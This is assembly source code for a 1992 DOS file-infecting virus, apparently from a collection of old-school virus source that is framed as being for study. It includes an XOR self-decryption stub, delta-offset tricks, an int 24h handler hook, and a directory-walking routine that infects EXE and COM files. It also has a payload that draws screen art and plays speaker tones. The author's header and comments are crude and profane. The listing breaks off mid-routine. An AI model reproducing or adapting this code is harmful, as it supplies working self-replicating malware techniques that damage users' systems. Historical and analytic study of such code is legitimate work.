1717.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;**************************************************************************
;
;The Zeppelin Virus  September 25, 1992
;[MPC] Generated...
;Created by... pAgE
;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
;Incidently. He died on this date in 1980! Got drunk and strangled on a
;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
;ThAt yA'll uSe, ArE a KicK....
;
;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
;                          GeT'S in ThE bl00d DoEsn't it?------->^^^^^
;
;Here it is...
;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
;I'll keep workin' on it and see what I can do. In the mean time, have fun!
;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
;
;But...If that's not good enough, well then - hEy! - BLoW mE!
;
;***************************************************************************

.model tiny                             ; Handy directive
.code                                   ; Virus code segment
          org    100h                   ; COM file starting IP

id = 'IS'                               ; ID word for EXE infections
entry_point: db 0e9h,0,0                ; jmp decrypt

decrypt:                                ; handles encryption and decryption
patch_startencrypt:
          mov  di,offset startencrypt   ; start of decryption
          mov  si,(offset heap - offset startencrypt)/2 ; iterations
decrypt_loop:
          db   2eh,81h,35h              ; xor word ptr cs:[di], xxxx
decrypt_value dw 0                      ; initialised at zero for null effect
          inc  di                       ; calculate new decryption location
          inc  di
          dec  si                       ; If we are not done, then
          jnz  decrypt_loop             ; decrypt mo'
startencrypt:
          call next                     ; calculate delta offset
next:
          pop  bp                       ; bp = IP next
          sub  bp,offset next           ; bp = delta offset


          cmp  sp,id                    ; COM or EXE?
          je   restoreEXE
restoreCOM:
          lea  si,[bp+save3]
          mov  di,100h
          push di                       ; For later return
          movsb
          jmp  short restoreEXIT
restoreEXE:
          push ds
          push es
          push cs                       ; DS = CS
          pop  ds
          push cs                       ; ES = CS
          pop  es
          lea  si,[bp+jmpsave2]
          lea  di,[bp+jmpsave]
          movsw
          movsw
          movsw
restoreEXIT:
          movsw

          mov  byte ptr [bp+numinfec],5 ; reset infection counter

          mov  ah,1Ah                   ; Set new DTA
          lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
          int  21h

          mov  ah,47h                   ; Get current directory
          mov  dl,0                     ; Current drive
          lea  si,[bp+origdir]          ; DS:SI->buffer
          int  21h
          mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR

          mov  ax,3524h                 ; Get int 24 handler
          int  21h                      ; to ES:BX
          mov  word ptr [bp+oldint24],bx; Save it
          mov  word ptr [bp+oldint24+2],es
          mov  ah,25h                   ; Set new int 24 handler
          lea  dx,[bp+offset int24]     ; DS:DX->new handler
          int  21h
          push cs                       ; Restore ES
          pop  es                       ; 'cuz it was changed

dir_scan:                               ; "dot dot" traversal
          lea  dx,[bp+exe_mask]
          call infect_mask
          lea  dx,[bp+com_mask]
          call infect_mask
          mov  ah,3bh                   ; change directory
          lea  dx,[bp+dot_dot]          ; "cd .."
          int  21h
          jnc  dir_scan                 ; go back for mo!

done_infections:
         ;mov  ah,2ah                   ; Get current date
         ;int  21h
         ;cmp  dh,9                     ; Check month
         ;jb   act_two
         ;cmp  dl,25                    ; Check date
         ;jb   act_two
         ;cmp  cx,1992                  ; Check year
         ;jb   act_two
         ;cmp  al,0                     ; Check date of week
         ;jb   activate

         ;mov  ah,2ch                   ; Get current time
         ;int  21h
         ;cmp  dl,50                    ; Check the percentage
          jbe  activate

exit_virus:
          mov  ax,2524h                 ; Restore int 24 handler
          lds  dx,[bp+offset oldint24]  ; to original
          int  21h
          push cs
          pop  ds

          mov  ah,3bh                   ; change directory
          lea  dx,[bp+origdir-1]        ; original directory
          int  21h

          mov  ah,1ah                   ; restore DTA to default
          mov  dx,80h                   ; DTA in PSP
          cmp  sp,id-4                  ; EXE or COM?
          jz   returnEXE
returnCOM:
          int  27h
          retn                          ; 100h is on stack
returnEXE:
          pop  es
          pop  ds
          int  21h
          mov  ax,es                    ; AX = PSP segment
          add  ax,10h                   ; Adjust for PSP
          add  word ptr cs:[bp+jmpsave+2],ax
          add  ax,word ptr cs:[bp+stacksave+2]
          cli                           ; Clear intrpts for stack manipulation
          mov  sp,word ptr cs:[bp+stacksave]
          mov  ss,ax
          sti
          db   0eah                     ; jmp ssss:oooo
jmpsave             dd ?                ; Original CS:IP
stacksave           dd ?                ; Original SS:SP
jmpsave2            db ?                ; Actually four bytes
save3               db 0cdh,20h,0       ; First 3 bytes of COM file
exe_mask            db '*.exe',0
com_mask            db '*.com',0
stacksave2          dd ?

activate        proc    far

start:
		jmp	short loc_1
		db	90h
data_2		db	0
data_3		dw	216h
		db	2
data_4		dw	0
                db      'Ripped this Motherfucker off'
		db	1Ah
data_5          db      'SHIT!!! Wont work....', 0Dh, 0Ah
		db	'$'
loc_1:

                mov     ax,0003h           ; stick 3 into ax.
                int     10h                ; Set up 80*25, text mode.  Clear the screen, too.
                mov     ah,0Fh
		int	10h			; Video display   ah=functn 0Fh
						;  get state, al=mode, bh=page
						;   ah=columns on screen
		mov	bx,0B800h
		cmp	al,2
		je	loc_2			; Jump if equal
		cmp	al,3
		je	loc_2			; Jump if equal
		mov	data_2,0
		mov	bx,0B000h
		cmp	al,7
		je	loc_2			; Jump if equal
		mov	dx,offset data_5	; ('Unsupported Video Mode')
		mov	ah,9
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		retn
loc_2:
		mov	es,bx
		mov	di,data_4
		mov	si,offset data_6
		mov	dx,3DAh
		mov	bl,9
		mov	cx,data_3
		cld				; Clear direction
		xor	ax,ax			; Zero register

locloop_4:
		lodsb				; String [si] to al
		cmp	al,1Bh
		jne	loc_5			; Jump if not equal
		xor	ah,80h
		jmp	short loc_20
loc_5:
		cmp	al,10h
		jae	loc_8			; Jump if above or =
		and	ah,0F0h
		or	ah,al
		jmp	short loc_20
loc_8:
		cmp	al,18h
		je	loc_11			; Jump if equal
		jnc	loc_12			; Jump if carry=0
		sub	al,10h
		add	al,al
		add	al,al
		add	al,al
		add	al,al
		and	ah,8Fh
		or	ah,al
		jmp	short loc_20
loc_11:
		mov	di,data_4
		add	di,data_1e
		mov	data_4,di
		jmp	short loc_20
loc_12:
		mov	bp,cx
		mov	cx,1
		cmp	al,19h
		jne	loc_13			; Jump if not equal
		lodsb				; String [si] to al
		mov	cl,al
		mov	al,20h			; ' '
		dec	bp
		jmp	short loc_14
loc_13:
		cmp	al,1Ah
		jne	loc_15			; Jump if not equal
		lodsb				; String [si] to al
		dec	bp
		mov	cl,al
		lodsb				; String [si] to al
		dec	bp
loc_14:
		inc	cx
loc_15:
		cmp	data_2,0
		je	loc_18			; Jump if equal
		mov	bh,al

locloop_16:
		in	al,dx			; port 3DAh, CGA/EGA vid status
		rcr	al,1			; Rotate thru carry
		jc	locloop_16		; Jump if carry Set
loc_17:
		in	al,dx			; port 3DAh, CGA/EGA vid status
		and	al,bl
		jnz	loc_17			; Jump if not zero
		mov	al,bh
		stosw				; Store ax to es:[di]
		loop	locloop_16		; Loop if cx > 0

		jmp	short loc_19
loc_18:
		rep	stosw			; Rep when cx >0 Store ax to es:[di]
loc_19:
		mov	cx,bp
loc_20:
                jcxz    loc_new_25              ; Jump if cx=0
		loop	locloop_4		; Loop if cx > 0
loc_new_25:


                mov     si,offset data00        ; SI points to data
get_note:       mov     bx,[si]                 ; Load BX with the frequency
                or      bx,bx                   ; Is BX equal to zero?
                je      play_tune_done          ; If it is we are finished

                mov     ax,034DDh               ;
                mov     dx,0012h                ;
                cmp     dx,bx                   ;
                jnb     new_note                ;
                div     bx                      ; This bit here was stolen
                mov     bx,ax                   ; from the Turbo C++ v1.0
                in      al,061h                 ; library file CS.LIB.  I
                test    al,3                    ; extracted sound() from the
                jne     skip_an_or              ; library and linked it to
                or      al,3                    ; an .EXE file, then diassembled
                out     061h,al                 ; it.  Basically this turns
                mov     al,0B6h                 ; on the speaker at a certain
                out     043h,al                 ; frequency.
skip_an_or:     mov     al,bl                   ;
                out     042h,al                 ;
                mov     al,bh                   ;
                out     042h,al                 ;

                mov     bx,[si + 2]             ; BX holds duration value
                xor     ah,ah                   ; BIOS get time function
                int     1Ah
                add     bx,dx                   ; Add the time to the length
wait_loop:      int     1Ah                     ; Get the time again (AH = 0)
                cmp     dx,bx                   ; Is the delay over?
                jne     wait_loop               ; Repeat until it is
                in      al,061h                 ; Stolen from the nosound()
                and     al,0FCh                 ; procedure in Turbo C++ v1.0.
                out     061h,al                 ; This turns off the speaker.

new_note:       add     si,4                    ; SI points to next note
                jmp     short get_note          ; Repeat with the next note
play_tune_done:
activate        endp

          jmp  exit_virus

creator             db '[pAgE]',0        ; YOU REALLY SHOULD TAKE THIS
virusname           db '[SwanSong]',0    ; BULLSHIT OUT OF HERE!!!
author              db 'pAgE',0      ; WHY NOT HOLD UP A SIGN!!!

infect_mask:
          mov  ah,4eh                   ; find first file
          mov  cx,7                     ; any attribute
findfirstnext:
          int  21h                      ; DS:DX points to mask
          jc   exit_infect_mask         ; No mo files found